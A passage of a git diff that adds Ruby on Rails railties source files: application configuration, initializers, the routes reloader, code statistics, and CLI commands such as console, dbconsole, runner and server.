+ paths.add "tmp"
+ paths
+ end
+ end
+
+ def threadsafe!
+ message = "config.threadsafe! is deprecated. Rails applications " \
+ "behave by default as thread safe in production as long as config.cache_classes and " \
+ "config.eager_load are set to true"
+ ActiveSupport::Deprecation.warn message
+ @cache_classes = true
+ @eager_load = true
+ self
+ end
+
+ # Loads and returns the configuration of the database.
+ def database_configuration
+ yaml = paths["config/database"].first
+ if File.exists?(yaml)
+ require "erb"
+ YAML.load ERB.new(IO.read(yaml)).result
+ elsif ENV['DATABASE_URL']
+ nil
+ else
+ raise "Could not load database configuration. No such file - #{yaml}"
+ end
+ rescue Psych::SyntaxError => e
+ raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
+ "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+ "Error: #{e.message}"
+ end
+
+ def log_level
+ @log_level ||= Rails.env.production? ? :info : :debug
+ end
+
+ def colorize_logging
+ ActiveSupport::LogSubscriber.colorize_logging
+ end
+
+ def colorize_logging=(val)
+ ActiveSupport::LogSubscriber.colorize_logging = val
+ self.generators.colorize_logging = val
+ end
+
+ def session_store(*args)
+ if args.empty?
+ case @session_store
+ when :disabled
+ nil
+ when :active_record_store
+ begin
+ ActionDispatch::Session::ActiveRecordStore
+ rescue NameError
+ raise "`ActiveRecord::SessionStore` is extracted out of Rails into a gem. " \
+ "Please add `activerecord-session_store` to your Gemfile to use it."
+ end
+ when Symbol
+ ActionDispatch::Session.const_get(@session_store.to_s.camelize)
+ else
+ @session_store
+ end
+ else
+ @session_store = args.shift
+ @session_options = args.shift || {}
+ end
+ end
+
+ def whiny_nils=(*)
+ ActiveSupport::Deprecation.warn "config.whiny_nils option is deprecated and no longer works"
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
new file mode 100644
index 0000000..3ae6031
--- /dev/null
+++ b/railties/lib/rails/application/finisher.rb
@@ -0,0 +1,94 @@
+module Rails
+ class Application
+ module Finisher
+ include Initializable
+
+ initializer :add_generator_templates do
+ config.generators.templates.unshift(*paths["lib/templates"].existent)
+ end
+
+ initializer :ensure_autoload_once_paths_as_subset do
+ extra = ActiveSupport::Dependencies.autoload_once_paths -
+ ActiveSupport::Dependencies.autoload_paths
+
+ unless extra.empty?
+ abort <<-end_error
+ autoload_once_paths must be a subset of the autoload_paths.
+ Extra items in autoload_once_paths: #{extra * ','}
+ end_error
+ end
+ end
+
+ initializer :add_builtin_route do |app|
+ if Rails.env.development?
+ app.routes.append do
+ get '/rails/info/properties' => "rails/info#properties"
+ get '/rails/info/routes' => "rails/info#routes"
+ get '/rails/info' => "rails/info#index"
+ get '/' => "rails/welcome#index"
+ end
+ end
+ end
+
+ initializer :build_middleware_stack do
+ build_middleware_stack
+ end
+
+ initializer :define_main_app_helper do |app|
+ app.routes.define_mounted_helper(:main_app)
+ end
+
+ initializer :add_to_prepare_blocks do
+ config.to_prepare_blocks.each do |block|
+ ActionDispatch::Reloader.to_prepare(&block)
+ end
+ end
+
+ # This needs to happen before eager load so it happens
+ # in exactly the same point regardless of config.cache_classes
+ initializer :run_prepare_callbacks do
+ ActionDispatch::Reloader.prepare!
+ end
+
+ initializer :eager_load! do
+ if config.eager_load
+ ActiveSupport.run_load_hooks(:before_eager_load, self)
+ config.eager_load_namespaces.each(&:eager_load!)
+ end
+ end
+
+ # All initialization is done, including eager loading in production
+ initializer :finisher_hook do
+ ActiveSupport.run_load_hooks(:after_initialize, self)
+ end
+
+ # Set app reload just after the finisher hook to ensure
+ # routes added in the hook are still loaded.
+ initializer :set_routes_reloader_hook do
+ reloader = routes_reloader
+ reloader.execute_if_updated
+ self.reloaders << reloader
+ ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+ end
+
+ # Set app reload just after the finisher hook to ensure
+ # paths added in the hook are still loaded.
+ initializer :set_clear_dependencies_hook, group: :all do
+ callback = lambda do
+ ActiveSupport::DescendantsTracker.clear
+ ActiveSupport::Dependencies.clear
+ end
+
+ if config.reload_classes_only_on_change
+ reloader = config.file_watcher.new(*watchable_args, &callback)
+ self.reloaders << reloader
+ # We need to set a to_prepare callback regardless of the reloader result, i.e.
+ # models should be reloaded if any of the reloaders (i18n, routes) were updated.
+ ActionDispatch::Reloader.to_prepare(prepend: true){ reloader.execute }
+ else
+ ActionDispatch::Reloader.to_cleanup(&callback)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
new file mode 100644
index 0000000..737977a
--- /dev/null
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -0,0 +1,56 @@
+require "active_support/core_ext/module/delegation"
+
+module Rails
+ class Application
+ class RoutesReloader
+ attr_reader :route_sets, :paths
+ delegate :execute_if_updated, :execute, :updated?, to: :updater
+
+ def initialize
+ @paths = []
+ @route_sets = []
+ end
+
+ def reload!
+ clear!
+ load_paths
+ finalize!
+ ensure
+ revert
+ end
+
+ private
+
+ def updater
+ @updater ||= begin
+ updater = ActiveSupport::FileUpdateChecker.new(paths) { reload! }
+ updater.execute
+ updater
+ end
+ end
+
+ def clear!
+ route_sets.each do |routes|
+ routes.disable_clear_and_finalize = true
+ routes.clear!
+ end
+ end
+
+ def load_paths
+ paths.each { |path| load(path) }
+ end
+
+ def finalize!
+ route_sets.each do |routes|
+ routes.finalize!
+ end
+ end
+
+ def revert
+ route_sets.each do |routes|
+ routes.disable_clear_and_finalize = false
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
new file mode 100644
index 0000000..8cc8eb1
--- /dev/null
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -0,0 +1,27 @@
+require 'active_support/backtrace_cleaner'
+
+module Rails
+ class BacktraceCleaner < ActiveSupport::BacktraceCleaner
+ APP_DIRS_PATTERN = /^\/?(app|config|lib|test)/
+ RENDER_TEMPLATE_PATTERN = /:in `_render_template_\w*'/
+
+ def initialize
+ super
+ add_filter { |line| line.sub("#{Rails.root}/", '') }
+ add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, '') }
+ add_filter { |line| line.sub('./', '/') } # for tests
+
+ add_gem_filters
+ add_silencer { |line| line !~ APP_DIRS_PATTERN }
+ end
+
+ private
+ def add_gem_filters
+ gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
+ return if gems_paths.empty?
+
+ gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
+ add_filter { |line| line.sub(gems_regexp, '\2 (\3) \4') }
+ end
+ end
+end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
new file mode 100644
index 0000000..e5341ac
--- /dev/null
+++ b/railties/lib/rails/cli.rb
@@ -0,0 +1,16 @@
+require 'rbconfig'
+require 'rails/app_rails_loader'
+
+# If we are inside a Rails application this method performs an exec and thus
+# the rest of this script is not run.
+Rails::AppRailsLoader.exec_app_rails
+
+require 'rails/ruby_version_check'
+Signal.trap("INT") { puts; exit(1) }
+
+if ARGV.first == 'plugin'
+ ARGV.shift
+ require 'rails/commands/plugin_new'
+else
+ require 'rails/commands/application'
+end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
new file mode 100644
index 0000000..0ae6d2a
--- /dev/null
+++ b/railties/lib/rails/code_statistics.rb
@@ -0,0 +1,103 @@
+require 'rails/code_statistics_calculator'
+
+class CodeStatistics #:nodoc:
+
+ TEST_TYPES = ['Controller tests',
+ 'Helper tests',
+ 'Model tests',
+ 'Mailer tests',
+ 'Integration tests',
+ 'Functional tests (old)',
+ 'Unit tests (old)']
+
+ def initialize(*pairs)
+ @pairs = pairs
+ @statistics = calculate_statistics
+ @total = calculate_total if pairs.length > 1
+ end
+
+ def to_s
+ print_header
+ @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
+ print_splitter
+
+ if @total
+ print_line("Total", @total)
+ print_splitter
+ end
+
+ print_code_test_stats
+ end
+
+ private
+ def calculate_statistics
+ Hash[@pairs.map{|pair| [pair.first, calculate_directory_statistics(pair.last)]}]
+ end
+
+ def calculate_directory_statistics(directory, pattern = /.*\.(rb|js|coffee)$/)
+ stats = CodeStatisticsCalculator.new
+
+ Dir.foreach(directory) do |file_name|
+ path = "#{directory}/#{file_name}"
+
+ if File.directory?(path) && (/^\./ !~ file_name)
+ stats.add(calculate_directory_statistics(path, pattern))
+ end
+
+ next unless file_name =~ pattern
+
+ stats.add_by_file_path(path)
+ end
+
+ stats
+ end
+
+ def calculate_total
+ @statistics.each_with_object(CodeStatisticsCalculator.new) do |pair, total|
+ total.add(pair.last)
+ end
+ end
+
+ def calculate_code
+ code_loc = 0
+ @statistics.each { |k, v| code_loc += v.code_lines unless TEST_TYPES.include? k }
+ code_loc
+ end
+
+ def calculate_tests
+ test_loc = 0
+ @statistics.each { |k, v| test_loc += v.code_lines if TEST_TYPES.include? k }
+ test_loc
+ end
+
+ def print_header
+ print_splitter
+ puts "| Name | Lines | LOC | Classes | Methods | M/C | LOC/M |"
+ print_splitter
+ end
+
+ def print_splitter
+ puts "+----------------------+-------+-------+---------+---------+-----+-------+"
+ end
+
+ def print_line(name, statistics)
+ m_over_c = (statistics.methods / statistics.classes) rescue m_over_c = 0
+ loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue loc_over_m = 0
+
+ puts "| #{name.ljust(20)} " \
+ "| #{statistics.lines.to_s.rjust(5)} " \
+ "| #{statistics.code_lines.to_s.rjust(5)} " \
+ "| #{statistics.classes.to_s.rjust(7)} " \
+ "| #{statistics.methods.to_s.rjust(7)} " \
+ "| #{m_over_c.to_s.rjust(3)} " \
+ "| #{loc_over_m.to_s.rjust(5)} |"
+ end
+
+ def print_code_test_stats
+ code = calculate_code
+ tests = calculate_tests
+
+ puts " Code LOC: #{code} Test LOC: #{tests} Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f/code)}"
+ puts ""
+ end
+end
diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb
new file mode 100644
index 0000000..60e4aef
--- /dev/null
+++ b/railties/lib/rails/code_statistics_calculator.rb
@@ -0,0 +1,79 @@
+class CodeStatisticsCalculator #:nodoc:
+ attr_reader :lines, :code_lines, :classes, :methods
+
+ PATTERNS = {
+ rb: {
+ line_comment: /^\s*#/,
+ begin_block_comment: /^=begin/,
+ end_block_comment: /^=end/,
+ class: /^\s*class\s+[_A-Z]/,
+ method: /^\s*def\s+[_a-z]/,
+ },
+ js: {
+ line_comment: %r{^\s*//},
+ begin_block_comment: %r{^\s*/\*},
+ end_block_comment: %r{\*/},
+ method: /function(\s+[_a-zA-Z][\da-zA-Z]*)?\s*\(/,
+ },
+ coffee: {
+ line_comment: /^\s*#/,
+ begin_block_comment: /^\s*###/,
+ end_block_comment: /^\s*###/,
+ class: /^\s*class\s+[_A-Z]/,
+ method: /[-=]>/,
+ }
+ }
+
+ def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
+ @lines = lines
+ @code_lines = code_lines
+ @classes = classes
+ @methods = methods
+ end
+
+ def add(code_statistics_calculator)
+ @lines += code_statistics_calculator.lines
+ @code_lines += code_statistics_calculator.code_lines
+ @classes += code_statistics_calculator.classes
+ @methods += code_statistics_calculator.methods
+ end
+
+ def add_by_file_path(file_path)
+ File.open(file_path) do |f|
+ self.add_by_io(f, file_type(file_path))
+ end
+ end
+
+ def add_by_io(io, file_type)
+ patterns = PATTERNS[file_type] || {}
+
+ comment_started = false
+
+ while line = io.gets
+ @lines += 1
+
+ if comment_started
+ if patterns[:end_block_comment] && line =~ patterns[:end_block_comment]
+ comment_started = false
+ end
+ next
+ else
+ if patterns[:begin_block_comment] && line =~ patterns[:begin_block_comment]
+ comment_started = true
+ next
+ end
+ end
+
+ @classes += 1 if patterns[:class] && line =~ patterns[:class]
+ @methods += 1 if patterns[:method] && line =~ patterns[:method]
+ if line !~ /^\s*$/ && (patterns[:line_comment].nil? || line !~ patterns[:line_comment])
+ @code_lines += 1
+ end
+ end
+ end
+
+ private
+ def file_type(file_path)
+ File.extname(file_path).sub(/\A\./, '').downcase.to_sym
+ end
+end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
new file mode 100644
index 0000000..0d12860
--- /dev/null
+++ b/railties/lib/rails/commands.rb
@@ -0,0 +1,113 @@
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+ "g" => "generate",
+ "d" => "destroy",
+ "c" => "console",
+ "s" => "server",
+ "t" => "test",
+ "db" => "dbconsole",
+ "r" => "runner"
+}
+
+help_message = <<-EOT
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+ generate Generate new code (short-cut alias: "g")
+ console Start the Rails console (short-cut alias: "c")
+ server Start the Rails server (short-cut alias: "s")
+ test Running the test file (short-cut alias: "t")
+ dbconsole Start a console for the database specified in config/database.yml
+ (short-cut alias: "db")
+ new Create a new Rails application. "rails new my_app" creates a
+ new application called MyApp in "./my_app"
+
+In addition to those, there are:
+ application Generate the Rails application code
+ destroy Undo code generated with "generate" (short-cut alias: "d")
+ plugin new Generates skeleton for developing a Rails plugin
+ runner Run a piece of code in the application environment (short-cut alias: "r")
+
+All commands can be run with -h (or --help) for more information.
+EOT
+
+
+command = ARGV.shift
+command = aliases[command] || command
+
+case command
+when 'generate', 'destroy', 'plugin'
+ require 'rails/generators'
+
+ if command == 'plugin' && ARGV.first == 'new'
+ require "rails/commands/plugin_new"
+ else
+ require APP_PATH
+ Rails.application.require_environment!
+
+ Rails.application.load_generators
+
+ require "rails/commands/#{command}"
+ end
+
+when 'console'
+ require 'rails/commands/console'
+ options = Rails::Console.parse_arguments(ARGV)
+
+ # RAILS_ENV needs to be set before config/application is required
+ ENV['RAILS_ENV'] = options[:environment] if options[:environment]
+
+ # shift ARGV so IRB doesn't freak
+ ARGV.shift if ARGV.first && ARGV.first[0] != '-'
+
+ require APP_PATH
+ Rails.application.require_environment!
+ Rails::Console.start(Rails.application, options)
+
+when 'server'
+ # Change to the application's path if there is no config.ru file in current dir.
+ # This allows us to run `rails server` from other directories, but still get
+ # the main config.ru and properly set the tmp directory.
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+
+ require 'rails/commands/server'
+ Rails::Server.new.tap do |server|
+ # We need to require application after the server sets environment,
+ # otherwise the --environment option given to the server won't propagate.
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+ end
+
+when 'dbconsole'
+ require 'rails/commands/dbconsole'
+ Rails::DBConsole.start
+
+when 'application', 'runner'
+ require "rails/commands/#{command}"
+
+when 'new'
+ if %w(-h --help).include?(ARGV.first)
+ require 'rails/commands/application'
+ else
+ puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+ puts "Type 'rails' for help."
+ exit(1)
+ end
+
+when '--version', '-v'
+ ARGV.unshift '--version'
+ require 'rails/commands/application'
+
+when '-h', '--help'
+ puts help_message
+
+else
+ puts "Error: Command '#{command}' not recognized"
+ if %x{rake #{command} --dry-run 2>&1 } && $?.success?
+ puts "Did you mean: `$ rake #{command}` ?\n\n"
+ end
+ puts help_message
+ exit(1)
+end
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
new file mode 100644
index 0000000..2ff2941
--- /dev/null
+++ b/railties/lib/rails/commands/application.rb
@@ -0,0 +1,43 @@
+require 'rails/version'
+
+if ['--version', '-v'].include?(ARGV.first)
+ puts "Rails #{Rails::VERSION::STRING}"
+ exit(0)
+end
+
+if ARGV.first != "new"
+ ARGV[0] = "--help"
+else
+ ARGV.shift
+ unless ARGV.delete("--no-rc")
+ customrc = ARGV.index{ |x| x.include?("--rc=") }
+ railsrc = if customrc
+ File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+ else
+ File.join(File.expand_path("~"), '.railsrc')
+ end
+ if File.exist?(railsrc)
+ extra_args_string = File.read(railsrc)
+ extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV.insert(1, *extra_args)
+ end
+ end
+end
+
+require 'rails/generators'
+require 'rails/generators/rails/app/app_generator'
+
+module Rails
+ module Generators
+ class AppGenerator # :nodoc:
+ # We want to exit on failure to be kind to other libraries
+ # This is only when accessing via CLI
+ def self.exit_on_failure?
+ true
+ end
+ end
+ end
+end
+
+Rails::Generators::AppGenerator.start
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
new file mode 100644
index 0000000..96229bb
--- /dev/null
+++ b/railties/lib/rails/commands/console.rb
@@ -0,0 +1,101 @@
+require 'optparse'
+require 'irb'
+require 'irb/completion'
+
+module Rails
+ class Console
+ class << self
+ def start(*args)
+ new(*args).start
+ end
+
+ def parse_arguments(arguments)
+ options = {}
+
+ OptionParser.new do |opt|
+ opt.banner = "Usage: rails console [environment] [options]"
+ opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
+ opt.on("-e", "--environment=name", String,
+ "Specifies the environment to run this console under (test/development/production).",
+ "Default: development") { |v| options[:environment] = v.strip }
+ opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
+ opt.parse!(arguments)
+ end
+
+ if arguments.first && arguments.first[0] != '-'
+ env = arguments.first
+ if available_environments.include? env
+ options[:environment] = env
+ else
+ options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ end
+ end
+
+ options
+ end
+
+ private
+
+ def available_environments
+ Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') }
+ end
+ end
+
+ attr_reader :options, :app, :console
+
+ def initialize(app, options={})
+ @app = app
+ @options = options
+
+ app.sandbox = sandbox?
+ app.load_console
+
+ @console = app.config.console || IRB
+ end
+
+ def sandbox?
+ options[:sandbox]
+ end
+
+ def environment
+ options[:environment] ||= ENV['RAILS_ENV'] || ENV['RACK_ENV'] || 'development'
+ end
+
+ def environment?
+ environment
+ end
+
+ def set_environment!
+ Rails.env = environment
+ end
+
+ def debugger?
+ options[:debugger]
+ end
+
+ def start
+ require_debugger if debugger?
+ set_environment! if environment?
+
+ if sandbox?
+ puts "Loading #{Rails.env} environment in sandbox (Rails #{Rails.version})"
+ puts "Any modifications you make will be rolled back on exit"
+ else
+ puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
+ end
+
+ if defined?(console::ExtendCommandBundle)
+ console::ExtendCommandBundle.send :include, Rails::ConsoleMethods
+ end
+ console.start
+ end
+
+ def require_debugger
+ require 'debugger'
+ puts "=> Debugger enabled"
+ rescue LoadError
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
+ exit
+ end
+ end
+end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
new file mode 100644
index 0000000..5914c9e
--- /dev/null
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -0,0 +1,174 @@
+require 'erb'
+require 'yaml'
+require 'optparse'
+require 'rbconfig'
+
+module Rails
+ class DBConsole
+ attr_reader :arguments
+
+ def self.start
+ new.start
+ end
+
+ def initialize(arguments = ARGV)
+ @arguments = arguments
+ end
+
+ def start
+ options = parse_arguments(arguments)
+ ENV['RAILS_ENV'] = options[:environment] || environment
+
+ case config["adapter"]
+ when /^mysql/
+ args = {
+ 'host' => '--host',
+ 'port' => '--port',
+ 'socket' => '--socket',
+ 'username' => '--user',
+ 'encoding' => '--default-character-set',
+ 'sslca' => '--ssl-ca',
+ 'sslcert' => '--ssl-cert',
+ 'sslcapath' => '--ssl-capath',
+ 'sslcipher' => '--ssh-cipher',
+ 'sslkey' => '--ssl-key'
+ }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
+
+ if config['password'] && options['include_password']
+ args << "--password=#{config['password']}"
+ elsif config['password'] && !config['password'].to_s.empty?
+ args << "-p"
+ end
+
+ args << config['database']
+
+ find_cmd_and_exec(['mysql', 'mysql5'], *args)
+
+ when "postgresql", "postgres"
+ ENV['PGUSER'] = config["username"] if config["username"]
+ ENV['PGHOST'] = config["host"] if config["host"]
+ ENV['PGPORT'] = config["port"].to_s if config["port"]
+ ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && options['include_password']
+ find_cmd_and_exec('psql', config["database"])
+
+ when "sqlite"
+ find_cmd_and_exec('sqlite', config["database"])
+
+ when "sqlite3"
+ args = []
+
+ args << "-#{options['mode']}" if options['mode']
+ args << "-header" if options['header']
+ args << File.expand_path(config['database'], Rails.respond_to?(:root) ? Rails.root : nil)
+
+ find_cmd_and_exec('sqlite3', *args)
+
+ when "oracle", "oracle_enhanced"
+ logon = ""
+
+ if config['username']
+ logon = config['username']
+ logon << "/#{config['password']}" if config['password'] && options['include_password']
+ logon << "@#{config['database']}" if config['database']
+ end
+
+ find_cmd_and_exec('sqlplus', logon)
+
+ else
+ abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
+ end
+ end
+
+ def config
+ @config ||= begin
+ cfg = begin
+ YAML.load(ERB.new(IO.read("config/database.yml")).result)
+ rescue SyntaxError, StandardError
+ require APP_PATH
+ Rails.application.config.database_configuration
+ end
+
+ cfg[environment] || abort("No database is configured for the environment '#{environment}'")
+ end
+ end
+
+ def environment
+ if Rails.respond_to?(:env)
+ Rails.env
+ else
+ ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development"
+ end
+ end
+
+ protected
+
+ def parse_arguments(arguments)
+ options = {}
+
+ OptionParser.new do |opt|
+ opt.banner = "Usage: rails dbconsole [environment] [options]"
+ opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
+ options['include_password'] = true
+ end
+
+ opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'],
+ "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode|
+ options['mode'] = mode
+ end
+
+ opt.on("--header") do |h|
+ options['header'] = h
+ end
+
+ opt.on("-h", "--help", "Show this help message.") do
+ puts opt
+ exit
+ end
+
+ opt.on("-e", "--environment=name", String,
+ "Specifies the environment to run this console under (test/development/production).",
+ "Default: development"
+ ) { |v| options[:environment] = v.strip }
+
+ opt.parse!(arguments)
+ abort opt.to_s unless (0..1).include?(arguments.size)
+ end
+
+ if arguments.first && arguments.first[0] != '-'
+ env = arguments.first
+ if available_environments.include? env
+ options[:environment] = env
+ else
+ options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ end
+ end
+
+ options
+ end
+
+ def available_environments
+ Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') }
+ end
+
+ def find_cmd_and_exec(commands, *args)
+ commands = Array(commands)
+
+ dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
+ commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+
+ full_path_command = nil
+ found = commands.detect do |cmd|
+ dirs_on_path.detect do |path|
+ full_path_command = File.join(path, cmd)
+ File.executable? full_path_command
+ end
+ end
+
+ if found
+ exec full_path_command, *args
+ else
+ abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb
new file mode 100644
index 0000000..5479da8
--- /dev/null
+++ b/railties/lib/rails/commands/destroy.rb
@@ -0,0 +1,9 @@
+require 'rails/generators'
+
+if [nil, "-h", "--help"].include?(ARGV.first)
+ Rails::Generators.help 'destroy'
+ exit
+end
+
+name = ARGV.shift
+Rails::Generators.invoke name, ARGV, behavior: :revoke, destination_root: Rails.root
diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb
new file mode 100644
index 0000000..351c59c
--- /dev/null
+++ b/railties/lib/rails/commands/generate.rb
@@ -0,0 +1,11 @@
+require 'rails/generators'
+
+if [nil, "-h", "--help"].include?(ARGV.first)
+ Rails::Generators.help 'generate'
+ exit
+end
+
+name = ARGV.shift
+
+root = defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root
+Rails::Generators.invoke name, ARGV, behavior: :invoke, destination_root: root
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
new file mode 100644
index 0000000..4d7bf3c
--- /dev/null
+++ b/railties/lib/rails/commands/plugin_new.rb
@@ -0,0 +1,9 @@
+if ARGV.first != "new"
+ ARGV[0] = "--help"
+else
+ ARGV.shift
+end
+
+require 'rails/generators'
+require 'rails/generators/rails/plugin_new/plugin_new_generator'
+Rails::Generators::PluginNewGenerator.start
\ No newline at end of file
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
new file mode 100644
index 0000000..c4622d6
--- /dev/null
+++ b/railties/lib/rails/commands/runner.rb
@@ -0,0 +1,54 @@
+require 'optparse'
+require 'rbconfig'
+
+options = { environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup }
+code_or_file = nil
+
+if ARGV.first.nil?
+ ARGV.push "-h"
+end
+
+ARGV.clone.options do |opts|
+ opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+
+ opts.separator ""
+
+ opts.on("-e", "--environment=name", String,
+ "Specifies the environment for the runner to operate under (test/development/production).",
+ "Default: development") { |v| options[:environment] = v }
+
+ opts.separator ""
+
+ opts.on("-h", "--help",
+ "Show this help message.") { $stdout.puts opts; exit }
+
+ if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
+ opts.separator ""
+ opts.separator "You can also use runner as a shebang line for your executables:"
+ opts.separator "-------------------------------------------------------------"
+ opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+ opts.separator ""
+ opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
+ opts.separator "-------------------------------------------------------------"
+ end
+
+ opts.order! { |o| code_or_file ||= o } rescue retry
+end
+
+ARGV.delete(code_or_file)
+
+ENV["RAILS_ENV"] = options[:environment]
+
+require APP_PATH
+Rails.application.require_environment!
+Rails.application.load_runner
+
+if code_or_file.nil?
+ $stderr.puts "Run '#{$0} -h' for help."
+ exit 1
+elsif File.exist?(code_or_file)
+ $0 = code_or_file
+ eval(File.read(code_or_file), nil, code_or_file)
+else
+ eval(code_or_file)
+end
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
new file mode 100644
index 0000000..e3119ec
--- /dev/null
+++ b/railties/lib/rails/commands/server.rb
@@ -0,0 +1,123 @@
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+
+module Rails
+ class Server < ::Rack::Server
+ class Options
+ def parse!(args)
+ args, options = args.dup, {}
+
+ opt_parser = OptionParser.new do |opts|
+ opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+ opts.on("-p", "--port=port", Integer,
+ "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+ opts.on("-b", "--binding=ip", String,
+ "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
+ opts.on("-c", "--config=file", String,
+ "Use custom rackup configuration file") { |v| options[:config] = v }
+ opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
+ opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
+ opts.on("-e", "--environment=name", String,
+ "Specifies the environment to run this server under (test/development/production).",
+ "Default: development") { |v| options[:environment] = v }
+ opts.on("-P","--pid=pid",String,
+ "Specifies the PID file.",
+ "Default: tmp/pids/server.pid") { |v| options[:pid] = v }
+
+ opts.separator ""
+
+ opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+ end
+
+ opt_parser.parse! args
+
+ options[:server] = args.shift
+ options
+ end
+ end
+
+ def initialize(*)
+ super
+ set_environment
+ end
+
+ # TODO: this is no longer required but we keep it for the moment to support older config.ru files.
+ def app
+ @app ||= begin
+ app = super
+ app.respond_to?(:to_app) ? app.to_app : app
+ end
+ end
+
+ def opt_parser
+ Options.new
+ end
+
+ def set_environment
+ ENV["RAILS_ENV"] ||= options[:environment]
+ end
+
+ def start
+ url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+ puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+ puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+ puts "=> Run `rails server -h` for more startup options"
+ trap(:INT) { exit }
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+
+ #Create required tmp directories if not found
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+ end
+
+ unless options[:daemonize]
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+ console.level = Rails.logger.level
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
+
+ super
+ ensure
+ # The '-h' option calls exit before @options is set.
+ # If we call 'options' with it unset, we get double help banners.
+ puts 'Exiting' unless @options && options[:daemonize]
+ end
+
+ def middleware
+ middlewares = []
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ middlewares << [::Rack::ContentLength]
+
+ # FIXME: add Rack::Lock in the case people are using webrick.
+ # This is to remain backwards compatible for those who are
+ # running webrick in production. We should consider removing this
+ # in development.
+ if server.name == 'Rack::Handler::WEBrick'
+ middlewares << [::Rack::Lock]
+ end
+
+ Hash.new(middlewares)
+ end
+
+ def log_path
+ "log/#{options[:environment]}.log"
+ end
+
+ def default_options
+ super.merge({
+ Port: 3000,
+ DoNotReverseLookup: true,
